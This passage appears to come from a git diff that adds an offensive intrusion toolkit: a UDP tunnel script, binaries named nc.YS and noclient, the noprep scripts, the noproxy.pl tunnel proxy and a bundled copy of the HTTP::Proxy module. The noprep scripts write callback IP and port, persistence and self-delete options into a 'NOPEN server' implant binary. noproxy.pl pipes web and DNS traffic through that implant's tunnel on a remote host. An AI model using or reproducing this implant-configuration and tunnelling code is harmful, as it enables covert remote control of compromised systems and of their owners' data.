5000 if destport == 69 else destport + listenport = 5000 if listenport == 690 else listenport + elif opt == "--lport": + listenport = int(arg) + elif opt == "--oport": + sourceport = int(arg) + elif opt == "--tport": + destport = int(arg) + elif opt == "--sip": + sip = True + dstaddr = arg + elif opt == "--lip": + addr = arg + + if sip: + print("Your tunnel is listening on %s sending data to %s %s"%(listenport, dstaddr, destport)) + elif sentry: + print("SentryTribe Mode listening on %s sending data to %s port %s"%(listenport, dstaddr, destport)) + else: + print ("Your setup should be:\n\t-rutun 69 127.0.0.1 %s\n\tYour tftp server should be bound on %s" %(listenport, destport)) + + sockt = sockbuild(listenport, addr, addrfam, socktype).build() + sockt2 = sockbuild(sourceport, addr, addrfam, socktype).build() + event = threading.Event() + t = Socketeer(event, checkports, sockt, sockt2, dstaddr, destport) + t.daemon=True + try: + t.start() + while not event.wait(7): + pass + log.debug("Data Recieved starting thread 2.") + t2 = Socketeer(event, checkports, sockt2, sockt, t.srcip, t.srcport) + t2.daemon=True + t2.start() + log.debug("Waiting to join.") + while t.is_alive(): + t.join(7) + + except KeyboardInterrupt: + print "Boom Headshot" + quit() + + + + diff --git a/Linux/bin/nc.YS b/Linux/bin/nc.YS new file mode 100755 index 0000000..b2dfc57 Binary files /dev/null and b/Linux/bin/nc.YS differ diff --git a/Linux/bin/newpass b/Linux/bin/newpass new file mode 100755 index 0000000..0d5dfd1 Binary files /dev/null and b/Linux/bin/newpass differ diff --git a/Linux/bin/nftp b/Linux/bin/nftp new file mode 100755 index 0000000..0230e61 Binary files /dev/null and b/Linux/bin/nftp differ diff --git a/Linux/bin/noclient b/Linux/bin/noclient new file mode 100755 index 0000000..b0d5521 Binary files /dev/null and b/Linux/bin/noclient differ diff --git a/Linux/bin/noclient-3.3.2.3-linux-i386 b/Linux/bin/noclient-3.3.2.3-linux-i386 new file mode 100755 index 0000000..b0d5521 Binary files /dev/null and b/Linux/bin/noclient-3.3.2.3-linux-i386 differ diff --git a/Linux/bin/noprep b/Linux/bin/noprep new file mode 120000 index 0000000..af17015 --- /dev/null +++ b/Linux/bin/noprep @@ -0,0 +1 @@ +noprep-v2.0 \ No newline at end of file diff --git a/Linux/bin/noprep-for-NOPEN-3.1-and-older b/Linux/bin/noprep-for-NOPEN-3.1-and-older new file mode 120000 index 0000000..5b3d8d8 --- /dev/null +++ b/Linux/bin/noprep-for-NOPEN-3.1-and-older @@ -0,0 +1 @@ +noprep-v1.0 \ No newline at end of file diff --git a/Linux/bin/noprep-v1.0 b/Linux/bin/noprep-v1.0 new file mode 100755 index 0000000..14ad0a3 --- /dev/null +++ b/Linux/bin/noprep-v1.0 @@ -0,0 +1,259 @@ +#!/usr/bin/env perl +myinit(); +progprint(sprintf("Looking for head+256bytes+tail of: + +0x%s+256bytes+0x%s\n\n",$headtag,$tailtag)); +TRYAGAIN: +close(OUT); +if ($outfile) { + open(OUT,">$outfile") or mydie("Cannot open >$outfile: $!"); + binmode(OUT); + select OUT; + $|=1 ; +} +close(IN); +open(IN,"<$infile") or mydie("Cannot open <$infile: $!"); +binmode(IN); +select(STDOUT); +my $bytes=0 ; +if ($tryagain) { + # On the first attempt the head+256bytes+tail straddled + # a 1024 chunk so skip ahead 270 bytes this time and it won't. + read(IN,$buf,270) ; + print OUT $buf if $outfile ; + $bytes += length($buf); + mydie("Failed second pass--only $bytes bytes, should be 270") + if ($bytes != 270) ; +} +my $blocks = 0; +my $foundit = 0 ; +my $done = 0; +my $oldargs = "" ; +while (read(IN,$buf,1024)) { + if (!$done) { + for ($j=0;$j <= length($buf)-12;$j++) { + $chunk = chunkof($buf,$j) ; + if ($chunk eq $headtagpacked) { + if ($j + 256 + 12 + 1 > length($buf)) { + mywarn("Trying again 270 bytes into the file...header but ". + "not footer in buf"); + $tryagain++; + goto TRYAGAIN; + } + $tailchunk = chunkof($buf,$j+12+256) ; + unless ($tailchunk eq $tailtagpacked) { + mywarn("\n\a\nHmmm...odd. Found header but 256 bytes after ". + "is NOT footer...still looking."); + next; + } + $foundit++ ; + $newbuf = substr($buf,0,$j) ; + $oldargs = substr($buf,$j+12,256); + $oldargsascii = unpack("H*",$oldargs) ; + if ($outfile) { + $newbuf .= $headtagpacked.$newargs.$tailtagpacked; + $newbuf .= substr($buf,length($newbuf)) ; + mydie("LENGTH IS WRONG--should never happen") + if (length($newbuf) != length($buf)) ; + $buf = $newbuf ; + } + $done++ ; + last; + }#if found header + }#for each chunk of data + }#if !$done + print OUT $buf if $outfile ; + $bytes += length($buf); + $blocks++ ; +} +close(IN); +close(OUT); +chmod(0755,$outfile) if ($outfile and -e $outfile) ; +select STDOUT ; +if ($foundit) { + my $cmp = ";cmp $infile $outfile" if $outfile ; + my $tmp=`ls -al $infile $outfile;md5sum $infile $outfile$cmp`; + progprint("We found it at $bytes+$j bytes ($blocks blocks of 1024):\n\n$COLOR_NOTE". + $tmp, + $COLOR_SUCCESS); + if (!$outfile) { + my $len = length($oldargs); + progprint("$len bytes of hex arguments in ${infile} between colons\n". + "::$COLOR_NOTE${oldargsascii}${COLOR_NORMAL}::\n"); + progprint("ASCII arguments in ${infile} between colons\n". + "::$COLOR_NOTE${oldargs}${COLOR_NORMAL}::\n"); + } +} else { + unlink($outfile); + mydie("\n\nNEVER FOUND head+256bytes+tail in $infile. ABORTING!\n\n\a"); +} + +sub mydie { + progprint("@_\n",1); + exit 1; +}#mydie + +sub mywarn { + progprint("@_",1); +}#mywarn + +sub chunkof { + # returns 12 byte chunk of $buf at $j + local($buf,$j) = (@_); + my $ans ; + $ans = pack("a12",substr($buf,$j)); + return $ans ; +}#chunkof + +sub myinit { + use File::Basename ; + $COLOR_SUCCESS="\033[5;42m"; + $COLOR_SUCCESS="\033[3;32m"; + $COLOR_FAILURE="\033[1;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + $prog = basename $0 ; + $version="1.0.0.0"; + $headtag = "3fb31b95a1deaf7ba7ab354d"; + $tailtag = "90d631fe5466524196b4cefb"; + $headtagpacked = pack("H*",$headtag) ; + $tailtagpacked = pack("H*",$tailtag) ; + $versiontext = "$prog version $version\n" ; + $infile = shift(@ARGV); + $opt_h = ($infile eq "-h"); + $opt_v = ($infile eq "-v"); + $infile = shift(@ARGV) if ($opt_h or $opt_v); + mydie("First argument must not contain whitespace.") + if ($infile =~ /\s/) ; + $outfile = shift(@ARGV) unless ($ARGV[0] =~ /^-/ or $ARGV[0] =~ /\s/); + $outfile = "$infile.new" unless $outfile ; + $newargs = "" ; + if (@ARGV) { + while (my $arg = shift(@ARGV)) { + if ($arg eq "ZERO") { + $newargs = "ZERO "; + last; + } + $newargs .= "$arg "; +# if ($arg =~ /^-/) { +# $newargs .= "$arg "; +# } else { +# $newargs .= "\"$arg\" "; +# } + } + chop($newargs); # remove extra space + } + mywarn("Arguments too long (".length($newargs)." chars). Truncated to 256.") if + length($newargs) > 256 ; + my $varhelp = "provided on the command line (there is\nno default for these)."; + my $checkinside = !$newargs ; + my $zeroed = 0 ; + # Pad the $newargs with nulls, also truncate to 256 if they're long + $newargs = substr(pack("a256",$newargs),0,256); + $newhexascii = unpack("H*",$newargs) ; + if ($outfile eq "ZERO" or $newargs =~ /^ZERO/) { + $zeroed = 1; + $outfile = "$infile.ZEROED" if ($outfile eq "ZERO") ; + $checkinside = 0 ; + $newargs = "" ; + $newargs = substr(pack("a256",$newargs),0,256); + $newhexascii = unpack("H*",$newargs) ; + $varhelp = " given (in this case, all NULLS), or in hex:"; + } else { + $varhelp = "you provided, in this case:\n\n$newargs\n\nor in hex:"; + } + (my $zeros) = $newhexascii =~ /(00000+)$/ ; + my $len = length($zeros) ; + if ($len > 0) { + $len = "$len " ; + } else { + $len = ""; + } + $newhexascii =~ s/00000+$/000000(${len}zeroes to end of buffer...)/ ; + $varhelp .= "\n\n$newhexascii"; + $usagetext = " +Usage: $prog infile [outfile] [NOPEN-args] + +outfile defaults to infile.new. If provided, outfile must not start +with a \"-\" or contain whitespace. + +If \"ZERO\" is given as the NOPEN-args argument, the argument buffer +in infile is zeroed out. + +If no NOPEN-args argument is given, the argument buffer in infile is +found and shown. + +The NOPEN-args provided are injected into infile if it is a valid +NOPEN server (i.e., has the right head/tail tags in it). Valid NOPEN +arguments include the same that can be provided to NOPEN server via the +\$D environment variable, namely: + + -I stdin mode + -i do not autokill after 5 hours + -u unlink binary if possible + -S## sleep ## seconds before connecting + -CIP:P1|P2|P3 callback to IP, trying multiple ports in succession + -T## tcp timeout if cannot connect via callback [30s] + -r## number of retries + -P## pause between connect attempts + -cIP:PORT callback to IP:PORT + -lPORT start daemon listening on PORT + +Every argument requires its own \"-\", preceeded by a single space (so +\"-iIS15\" is NOT legal). Avoid whitespace within argument values as +shown above--i.e. use \"-l32323\" rather than \"-l 32323\". + +Injection consists of replacing 256 bytes of binary content between + +\t\t0x$headtag and +\t\t0x$tailtag + +with the null padded NOPEN-args $varhelp\n + +" ; + usage() if (!$infile or $opt_h or $opt_v); + if ($checkinside) { + mywarn("No content provided to inject--looking for what's in there") ; + $outfile = ""; + progprint("Looking in: $infile"); + } else { + if ($zeroed) { + progprint("Injecting: NULLS"); + } else { + progprint("Injecting: $newargs"); + } + progprint("Into file: $infile"); + progprint("To build file: $outfile"); + } +}#myinit + +sub usage { + print $usagetext unless ($opt_v) ; + print $versiontext ; + print "\nFATAL ERROR: @_\n" if ( @_ ); + exit; +}#usage + +sub progprint { + local ($what,$color,$color2,$what2) = (@_,"","","") ; + my $where = "STDOUT"; + my $crs = "" ; + my $tmp ; + while ($tmp = substr($what,0,1)) { + if ($tmp eq "\n") { + $crs .= $tmp; + $what = substr($what,1); + } else { + last; + } + } +# $color = $COLOR_NOTE unless $color ; + if ($color eq "1") { + $color = $COLOR_FAILURE; + $where = "STDERR"; + } + $color2 = $color unless $color2 ; + $what2 = "$what2 " if ($what2) ; + print $where "$crs$color2${prog}[$$]: $what2${color}$what$COLOR_NORMAL\n" ; +}# progprint diff --git a/Linux/bin/noprep-v2.0 b/Linux/bin/noprep-v2.0 new file mode 100755 index 0000000..83da98a --- /dev/null +++ b/Linux/bin/noprep-v2.0 @@ -0,0 +1,149 @@ +#!/usr/bin/env python +version = '2.0.0.2' + +import os +import re +import sys +import shutil +import os.path +import subprocess + +VAR_NAME = 'D' + +def execute(cmd, printit=False): + + if printit: + print 'executing: [%s]' % cmd + + proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True) + output = proc.stdout.read() + + return output + + +def parse_output(output): + + ret_lines = [] + + if output.__class__() != []: + output = output.split('\n') + + for line in output: + if re.match('^\[\#\] (Name|Value):.*$', line) or \ + re.match('^ 0x.*$', line): + ret_lines.append(line) + + return '\n'.join(ret_lines) + + +def usage(): + + print '' + print 'usage: %s infile [outfile] [NOPEN-args]' % os.path.basename(sys.argv[0]) + print '' + print 'outfile defaults to infile.new. If provided, outfile must not start' + print 'with a "-" or contain whitespace.' + print '' + print 'If "ZERO" is given as the NOPEN-args argument, the argument buffer' + print 'in infile is zeroed out.' + print '' + print 'If no NOPEN-args argument is given, the argument buffer in infile is' + print 'found and shown.' + print '' + print 'The NOPEN-args provided are injected into infile if it is a valid' + print 'NOPEN server (i.e., has the right head/tail tags in it). Valid NOPEN' + print 'arguments include the same that can be provided to NOPEN server via the' + print '$D environment variable, namely:' + print '' + print ' -I stdin mode' + print ' -i do not autokill after 5 hours' + print ' -u unlink binary if possible' + print ' -S## sleep ## seconds before connecting' + print ' -CIP:P1|P2|P3 callback to IP, trying multiple ports in succession' + print ' -T## tcp timeout if cannot connect via callback [30s]' + print ' -r## number of retries' + print ' -P## pause between connect attempts' + print ' -cIP:PORT callback to IP:PORT' + print ' -lPORT start daemon listening on PORT' + print ' -LIP specify the IP or listen on (default 0.0.0.0)' + print '' + print 'Every argument requires its own "-", preceeded by a single space (so' + print '"-iIS15" is NOT legal). Avoid whitespace within argument values as' + print 'shown above--i.e. use "-l32323" rather than "-l 32323".' + print '' + print 'NOTE: "Store" binary must be present in $PATH\n' + print '%s version %s' % (os.path.basename(sys.argv[0]), version) + + sys.exit(1) + + +def main(): + + infile = None + outfile = None + nopenargs = None + argsidx = 0 + dostore = 0 + + if len(sys.argv) < 2: + usage() + + infile = sys.argv[1] + + if len(sys.argv) > 2: + dostore = 1 + if sys.argv[2][0] != '-': + outfile = sys.argv[2] + argsidx = 3 + else: + outfile = '%s.new' % infile + argsidx = 2 + + if os.path.exists(outfile) and not os.path.isfile(outfile): + print 'ERROR: "%s" is not a file' % outfile + sys.exit(1) + + if not os.path.exists(infile): + print 'ERROR: "%s" does not exist' % infile + sys.exit(1) + + if len(sys.argv) > 2 and argsidx <= len(sys.argv): + nopenargs = ' '.join(sys.argv[argsidx:]) + dostore = 1 + + # check that infile is a valid noserver + output = execute('Store --file="%s" --get="svr"' % infile) + if parse_output(output) == '': + print 'ERROR: "%s" not a valid noserver' % infile + sys.exit(1) + + print 'File "%s" is a valid noserver' % infile + + if dostore: + print '\nASCII arguments to store are between double colons:' + print '::%s::\n' % nopenargs + shutil.copy(infile, outfile) + storestr = 'echo -n "%s" | Store --nullterminate --file="%s" --set="%s" --get="%s"' % \ + (nopenargs, outfile, VAR_NAME, VAR_NAME) + output = execute(storestr, True) + else: + output = execute('Store --file="%s" --get="%s"' % (infile, VAR_NAME)) + + value = parse_output(output) + if value != '': + print '\nFound variable %s:' % VAR_NAME + print value + + files = infile + if outfile != None: + files = '%s %s' % (files, outfile) + + print '\nlisting:' + print execute('ls -l %s' % files) + + print 'sha1sums:' + print execute('sha1sum %s' % files) + + +if __name__ == '__main__': + main() diff --git a/Linux/bin/noproxy.pl b/Linux/bin/noproxy.pl new file mode 100755 index 0000000..3b1ff93 --- /dev/null +++ b/Linux/bin/noproxy.pl @@ -0,0 +1,219 @@ +#!/usr/bin/perl +$VER="1.2.0.1"; + +my $autoutils = "../etc/autoutils" ; +unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; +} +require $autoutils; + +myusage() if (! Getopts( "i:p:r:d:s:e:hH:F:tW:U:" ) ) ; +my $nopen_ip = $opt_i; +my $tunnel_port = $opt_p; +my $proxy_port = $opt_r; +my $dns_ip = $opt_d; +my $start_port = 40000; +$start_port = $opt_s if $opt_s > 0; +my $end_port = 60000; +$end_port = $opt_e if $opt_e > 0; +my $proxy_host = $opt_H; +my $log_file = $opt_F; +my $tcp = $opt_t; +my $whitelist = $opt_W; +my $useragent = $opt_U; +myusage() if ($opt_h or (!defined $opt_i or !defined $opt_p or !defined $opt_r or !defined $opt_d)); + +sub myusage { + die "NOPROXY v.$VER\n\n". + "Usage: noproxy.pl -i -p -r -d \n\n". + "Optional Arguments\n". + "-s \n". + "-e \n". + "-H \n". + "-F \n". + "-t \n". + "-W (Comma delimited list of IP/prefix entries in xxx.xxx.xxx.xxx/xx format\n". + " (note - the prefix is required--for one host, just use /32)\n". + "-U (e.g., -U Mozilla/1.0)\n\n"; +} + +my @whitelist = split(/,+/,$whitelist); +my $network; +my $prefix; +my %allowed = (); # key=$network value=$prefix +foreach $whitelist (@whitelist) { + $network = `ipcalc -sn $whitelist`; + $network =~ s/NETWORK=//g; + chomp($network); + $prefix = `ipcalc -ps $whitelist`; + $prefix =~ s/PREFIX=//g; + chomp($prefix); + die "Invalid whitelist $whitelist\n" + unless $prefix and $network; + print "Whitelist: Allowing $network\n"; + $allowed{$network}=$prefix; +} +print "\n"; +$proxy_host = "" unless (defined $opt_H); + +my $log_fh = *STDOUT; +if (defined $log_file) { + open $log_fh, ">$log_file" or die "Can't open log file: $log_file!"; +} + +use IO::Socket qw(:DEFAULT :crlf); +use HTTP::Proxy; +use HTTP::Proxy::HeaderFilter::simple; +use strict; +use Thread::Queue; + +srand( time() ^ ($$ + ($$ << 15)) ); +my $pcounter = pickport(); + +#initialize the connection to the nopen tunnel listener +print "Connecting to " . $nopen_ip . " on port " . $tunnel_port . " for nopen tunnel commands.\n"; +my $socket; + +if ($tcp) { + $socket = IO::Socket::INET->new(PeerAddr =>$nopen_ip,PeerPort=>$tunnel_port,Proto=>"tcp",Type=>SOCK_STREAM) or die "couldn't connect to $nopen_ip : $tunnel_port $@\n"; +} else { + $socket = IO::Socket::INET->new(PeerAddr =>$nopen_ip,PeerPort=>$tunnel_port,Proto=>"udp",Type=>SOCK_DGRAM) or die "couldn't connect to $nopen_ip : $tunnel_port $@\n"; +} +#setup one tunnel for dns +print "Opening DNS tunnel to " . $dns_ip . ".\nBe sure to set this box's IP address as your DNS!!\n"; +print $socket "u 53 " . $dns_ip ."$CRLF"; + +#create an empty response to return when invalid/inaccessible requests are made +my $no = HTTP::Response->new ( 200 ); +$no->content_type('text/plain'); +$no->content('.'); + +#initialize the proxy +my $proxy = HTTP::Proxy->new( host => $proxy_host, port => $proxy_port, logfh => $log_fh, logmask => 1); + +#add our "filter" which handles the nopen stuff for each request +$proxy->push_filter( request => + HTTP::Proxy::HeaderFilter::simple->new + ( + sub { + my ( $self, $headers, $message ) = @_; + #modify the useragent if necessary + + if (defined $useragent) { + $message->headers->header( User_Agent => "$useragent" ); + } + #pick a "random" port to listen on + $pcounter = pickport(); + $proxy->log + ( 1, + " MESSAGE_URI: " . $message->uri . + " PRE_FILTER". + " Host: " . $message->uri->host . + " LOC_TUN_PORT: " . $pcounter . + " Port: " . $message->uri->port #. + ); + + #do a dns query + my $ohost = $message->uri->host; + if (my $nhost = gethostbyname($ohost)) { + $nhost = inet_ntoa($nhost); + $proxy->log( 32, "DNS", $message->uri->host . " resolves to " . $nhost . "$CRLF"); + if ($whitelist) { + my $good = 0; + #check the whitelist + foreach my $network (keys %allowed) { + my $prefix = $allowed{$network}; + my $whost = `ipcalc -sn $nhost/$prefix`; + $whost =~ s/NETWORK=//g; + chomp($whost); + if ($network eq $whost && $good == 0) { + $good = 1; + open_tunnel($nhost,$message); + } + } + #if we haven't found a match on the whitelist, block the request + if($good == 0){ + my $blocked = $no; + $blocked->content("noproxy.pl: $nhost NOT ON WHITELIST"); + $self->proxy->response( $blocked ); + + $message->uri->host('127.0.0.1'); + $message->uri->port(pickport()); + + $proxy->log( 32, "WHITELIST", "$nhost not allowed by whitelist ($whitelist)"); + } + } else { + open_tunnel($nhost,$message) ; + } + } else { + my $blocked = $no; + $blocked->content("noproxy.pl: $ohost DID NOT RESOLVE"); + $self->proxy->response( $blocked ); + $message->uri->host('127.0.0.1'); + $message->uri->port(pickport()); + + $proxy->log( 32, "DNS", "Couldn't resolve: " . $ohost . "$CRLF" ); + } + $proxy->log( 1, "POST-FILTER", "Host: " . $message->uri->host . " Port: " . $message->uri->port . "$CRLF"); + } + ) + ); + +$proxy->start; + +sub open_tunnel { + my ($myhost,$message) = (@_); + $proxy->log( 32, "TUNNEL", "Closing tunnel$CRLF"); + + #close any open listeners + print $socket "c 2$CRLF"; + wait_for_close(); + + + $proxy->log( 32, "TUNNEL", "Opening tunnel: l " . $pcounter . " " . $myhost . " " . $message->uri->port . "$CRLF"); + + #open the nopen tunnel + print $socket "l " . $pcounter . " " . $myhost . " " . $message->uri->port . "$CRLF"; + wait_for_open(); + + #rewrite the request to point to the local listener + $message->uri->host($nopen_ip); + $message->uri->port($pcounter); +} + +sub wait_for_open{ + recv($socket,my $content1,2056,0); + my $content; + while (!($content1 =~ /channel 2 listen success/)) { + recv($socket,$content,2056,0); + $content1 .= $content; + #print "Got $content1 from server\n"; + if ($content1 =~ /Address already in use/) { + print "LISTEN PORT ALREADY IN USE!!!!! IGNORING REQUEST!!!\n"; + last(); + } + } +} + +sub wait_for_close{ + recv($socket,my $content1,2056,0); + my $content; + while (! ($content1 =~ /(Closing Channel 2 is complete|Channel 2 is already closed)/)) { + recv($socket,$content,2056,0); + $content1 .= $content; + #print "Got $content1 from server\n"; + } +} + +sub pickport { + #pick a random port to listen on locally + #This works now because noclient is run locally. It would be sketchy at best if noclient was running on a different box since we check our own netstat for ports. + my $port ; + while (1) { + $port = int(rand ($end_port-$start_port)) + $start_port; + my @test = grep /^\s*tcp\s.*\s\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:$port\s.*(LISTEN|\S*TIME|CLOSE|ESTAB|\S*WAIT)/, `netstat -an`; + last unless @test; + #tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN + } + return $port; +} diff --git a/Linux/bin/noproxy.profile.tar.bz2 b/Linux/bin/noproxy.profile.tar.bz2 new file mode 100644 index 0000000..7a4cdba Binary files /dev/null and b/Linux/bin/noproxy.profile.tar.bz2 differ diff --git a/Linux/bin/noproxy/HTTP/Proxy.pm b/Linux/bin/noproxy/HTTP/Proxy.pm new file mode 100755 index 0000000..acc68fb --- /dev/null +++ b/Linux/bin/noproxy/HTTP/Proxy.pm @@ -0,0 +1,1339 @@ +package HTTP::Proxy; + +use HTTP::Daemon; +use HTTP::Date qw(time2str); +use LWP::UserAgent; +use LWP::ConnCache; +use Fcntl ':flock'; # import LOCK_* constants +use IO::Select; +use Sys::Hostname; # hostname() +use Carp; + +use strict; +use vars qw( $VERSION $AUTOLOAD @METHODS + @ISA @EXPORT @EXPORT_OK %EXPORT_TAGS ); + +require Exporter; +@ISA = qw(Exporter); +@EXPORT = (); # no export by default +@EXPORT_OK = qw( ERROR NONE PROXY STATUS PROCESS SOCKET HEADERS FILTERS + DATA CONNECT ENGINE ALL ); +%EXPORT_TAGS = ( log => [@EXPORT_OK] ); # only one tag + +$VERSION = '0.23'; + +my $CRLF = "\015\012"; # "\r\n" is not portable + +# standard filters +use HTTP::Proxy::HeaderFilter::standard; + +# constants used for logging +use constant ERROR => -1; # always log +use constant NONE => 0; # never log +use constant PROXY => 1; # proxy information +use constant STATUS => 2; # HTTP status +use constant PROCESS => 4; # sub-process life (and death) +use constant SOCKET => 8; # low-level connections +use constant HEADERS => 16; # HTTP headers +use constant FILTERS => 32; # Messages from filters +use constant DATA => 64; # Data received by the filters +use constant CONNECT => 128; # Data transmitted by the CONNECT method +use constant ENGINE => 256; # Internal information from the Engine +use constant ALL => 511; # All of the above + +# modules that need those constants to be defined +use HTTP::Proxy::Engine; +use HTTP::Proxy::FilterStack; + +# Methods we can forward +my %METHODS; + +# HTTP (RFC 2616) +$METHODS{http} = [qw( CONNECT DELETE GET HEAD OPTIONS POST PUT TRACE )]; + +# WebDAV (RFC 2518) +$METHODS{webdav} = [ + @{ $METHODS{http} }, + qw( COPY LOCK MKCOL MOVE PROPFIND PROPPATCH UNLOCK ) +]; + +# Delta-V (RFC 3253) +$METHODS{deltav} = [ + @{ $METHODS{webdav} }, + qw( BASELINE-CONTROL CHECKIN CHECKOUT LABEL MERGE MKACTIVITY + MKWORKSPACE REPORT UNCHECKOUT UPDATE VERSION-CONTROL ), +]; + +# the whole method list +@METHODS = HTTP::Proxy->known_methods(); + +# useful regexes (from RFC 2616 BNF grammar) +my %RX; +$RX{token} = qr/[-!#\$%&'*+.0-9A-Z^_`a-z|~]+/; +$RX{mime} = qr($RX{token}/$RX{token}); +$RX{method} = '(?:' . join ( '|', @METHODS ) . ')'; +$RX{method} = qr/$RX{method}/; + +sub new { + my $class = shift; + my %params = @_; + + # some defaults + my %defaults = ( + agent => undef, + chunk => 4096, + daemon => undef, + host => 'localhost', + logfh => *STDERR, + logmask => NONE, + max_connections => 0, + max_keep_alive_requests => 10, + port => 8080, + stash => {}, + timeout => 60, +# via => hostname() . " (HTTP::Proxy/$VERSION)", + x_forwarded_for => 0, + ); + + # non modifiable defaults + my $self = bless { conn => 0, loop => 1 }, $class; + + # support for deprecated stuff + { + my %convert = ( + maxchild => 'max_clients', + maxconn => 'max_connections', + maxserve => 'max_keep_alive_requests', + ); + while( my ($old, $new) = each %convert ) { + if( exists $params{$old} ) { + $params{$new} = delete $params{$old}; + carp "$old is deprecated, please use $new"; + } + } + } + + # get attributes + $self->{$_} = exists $params{$_} ? delete( $params{$_} ) : $defaults{$_} + for keys %defaults; + + # choose an engine with the remaining parameters + $self->{engine} = HTTP::Proxy::Engine->new( %params, proxy => $self ); + $self->log( PROXY, "PROXY", "Selected engine " . ref $self->{engine} ); + + return $self; +} + +sub known_methods { + my ( $class, @args ) = @_; + + @args = map { lc } @args ? @args : ( keys %METHODS ); + exists $METHODS{$_} || carp "Method group $_ doesn't exist" + for @args; + my %seen; + return grep { !$seen{$_}++ } map { @{ $METHODS{$_} || [] } } @args; +} + +sub timeout { + my $self = shift; + my $old = $self->{timeout}; + if (@_) { + $self->{timeout} = shift; + $self->agent->timeout( $self->{timeout} ) if $self->agent; + } + return $old; +} + +sub url { + my $self = shift; + if ( not defined $self->daemon ) { + carp "HTTP daemon not started yet"; + return undef; + } + return $self->daemon->url; +} + +# normal accessors +for my $attr ( qw( + agent chunk daemon host logfh port request response hop_headers + logmask via x_forwarded_for client_headers engine + max_connections max_keep_alive_requests + ) + ) +{ + no strict 'refs'; + *{"HTTP::Proxy::$attr"} = sub { + my $self = shift; + my $old = $self->{$attr}; + $self->{$attr} = shift if @_; + return $old; + } +} + +# read-only accessors +for my $attr (qw( conn loop client_socket )) { + no strict 'refs'; + *{"HTTP::Proxy::$attr"} = sub { $_[0]{$attr} } +} + +sub max_clients { shift->engine->max_clients( @_ ) } + +# deprecated methods are still supported +{ + my %convert = ( + maxchild => 'max_clients', + maxconn => 'max_connections', + maxserve => 'max_keep_alive_requests', + ); + while ( my ( $old, $new ) = each %convert ) { + no strict 'refs'; + *$old = sub { + carp "$old is deprecated, please use $new"; + goto \&$new; + }; + } +} + +sub stash { + my $stash = shift->{stash}; + return $stash unless @_; + return $stash->{ $_[0] } if @_ == 1; + return $stash->{ $_[0] } = $_[1]; +} + +sub new_connection { ++$_[0]{conn} } + +sub start { + my $self = shift; + + $self->init; + $SIG{INT} = $SIG{TERM} = sub { $self->{loop} = 0 }; + + # the main loop + my $engine = $self->engine; + $engine->start if $engine->can('start'); + while( $self->loop ) { + $engine->run; + last if $self->max_connections && $self->conn >= $self->max_connections; + } + $engine->stop if $engine->can('stop'); + + $self->log( STATUS, "STATUS", + "Processed " . $self->conn . " connection(s)" ); + + return $self->conn; +} + +# semi-private init method +sub init { + my $self = shift; + + # must be run only once + return if $self->{_init}++; + + $self->_init_daemon if ( !defined $self->daemon ); + $self->_init_agent if ( !defined $self->agent ); + + # specific agent config + $self->agent->requests_redirectable( [] ); + $self->agent->agent(''); # for TRACE support + $self->agent->protocols_allowed( [qw( http https ftp gopher )] ); + + # standard header filters + $self->{headers}{request} = HTTP::Proxy::FilterStack->new; + $self->{headers}{response} = HTTP::Proxy::FilterStack->new; + + # the same standard filter is used to handle headers + my $std = HTTP::Proxy::HeaderFilter::standard->new(); + $std->proxy( $self ); + $self->{headers}{request}->push( [ sub { 1 }, $std ] ); + $self->{headers}{response}->push( [ sub { 1 }, $std ] ); + + # standard body filters + $self->{body}{request} = HTTP::Proxy::FilterStack->new(1); + $self->{body}{response} = HTTP::Proxy::FilterStack->new(1); + + return; +} + +# +# private init methods +# + +sub _init_daemon { + my $self = shift; + my %args = ( + LocalAddr => $self->host, + LocalPort => $self->port, + ReuseAddr => 1, + ); + delete $args{LocalPort} unless $self->port; # 0 means autoselect + my $daemon = HTTP::Daemon->new(%args) + or die "Cannot initialize proxy daemon: $!"; + $self->daemon($daemon); + + return $daemon; +} + +sub _init_agent { + my $self = shift; + my $agent = LWP::UserAgent->new( + env_proxy => 1, + keep_alive => 2, + parse_head => 0, + timeout => $self->timeout, + ) + or die "Cannot initialize proxy agent: $!"; + $self->agent($agent); + return $agent; +} + +# This is the internal "loop" that lets the child process process the +# incoming connections. + +sub serve_connections { + my ( $self, $conn ) = @_; + my $response; + $self->{client_socket} = $conn; # read-only + $self->log( SOCKET, "SOCKET", "New connection from " . $conn->peerhost + . ":" . $conn->peerport ); + + my ( $last, $served ) = ( 0, 0 ); + + while ( $self->loop() ) { + my $req; + { + local $SIG{INT} = local $SIG{TERM} = 'DEFAULT'; + $req = $conn->get_request(); + } + + $served++; +#HERE - THIS LOOKS LIKE A GOOD PLACE FOR OUR STUFF NOPEN + # initialisation + $self->request($req); + $self->response(undef); + + # Got a request? + unless ( defined $req ) { + $self->log( ERROR, "ERROR", + "Getting request failed: " . $conn->reason ) + if $conn->reason ne 'No more requests from this connection'; + return; + } + $self->log( STATUS, "REQUEST", $req->method . ' ' + . ( $req->method eq 'CONNECT' ? $req->uri->host_port : $req->uri ) ); + + # can we forward this method? + if ( !grep { $_ eq $req->method } @METHODS ) { + $response = HTTP::Response->new( 501, 'Not Implemented' ); + $response->content_type( "text/plain" ); + $response->content( + "Method " . $req->method . " is not supported by this proxy." ); + $self->response($response); + goto SEND; + } + + # transparent proxying support + if( not defined $req->uri->scheme ) { + if( my $host = $req->header('Host') ) { + $req->uri->scheme( 'http' ); + $req->uri->host( $host ); + } + else { + $response = HTTP::Response->new( 400, 'Bad request' ); + $response->content_type( "text/plain" ); + $response->content("Can't do transparent proxying without a Host: header."); + $self->response($response); + goto SEND; + } + } + + # can we serve this protocol? + if ( !$self->is_protocol_supported( my $s = $req->uri->scheme ) ) + { + # should this be 400 Bad Request? + $response = HTTP::Response->new( 501, 'Not Implemented' ); + $response->content_type( "text/plain" ); + $response->content("Scheme $s is not supported by this proxy."); + $self->response($response); + goto SEND; + } + + # select the request filters + $self->{$_}{request}->select_filters( $req ) for qw( headers body ); + + # massage the request + $self->{headers}{request}->filter( $req->headers, $req ); + + # FIXME I don't know how to get the LWP::Protocol objet... + # NOTE: the request is always received in one piece + $self->{body}{request}->filter( $req->content_ref, $req, undef ); + $self->{body}{request}->eod; # end of data + $self->log( HEADERS, "REQUEST", $req->headers->as_string ); + + # CONNECT method is a very special case + if( ! defined $self->response and $req->method eq 'CONNECT' ) { + $last = 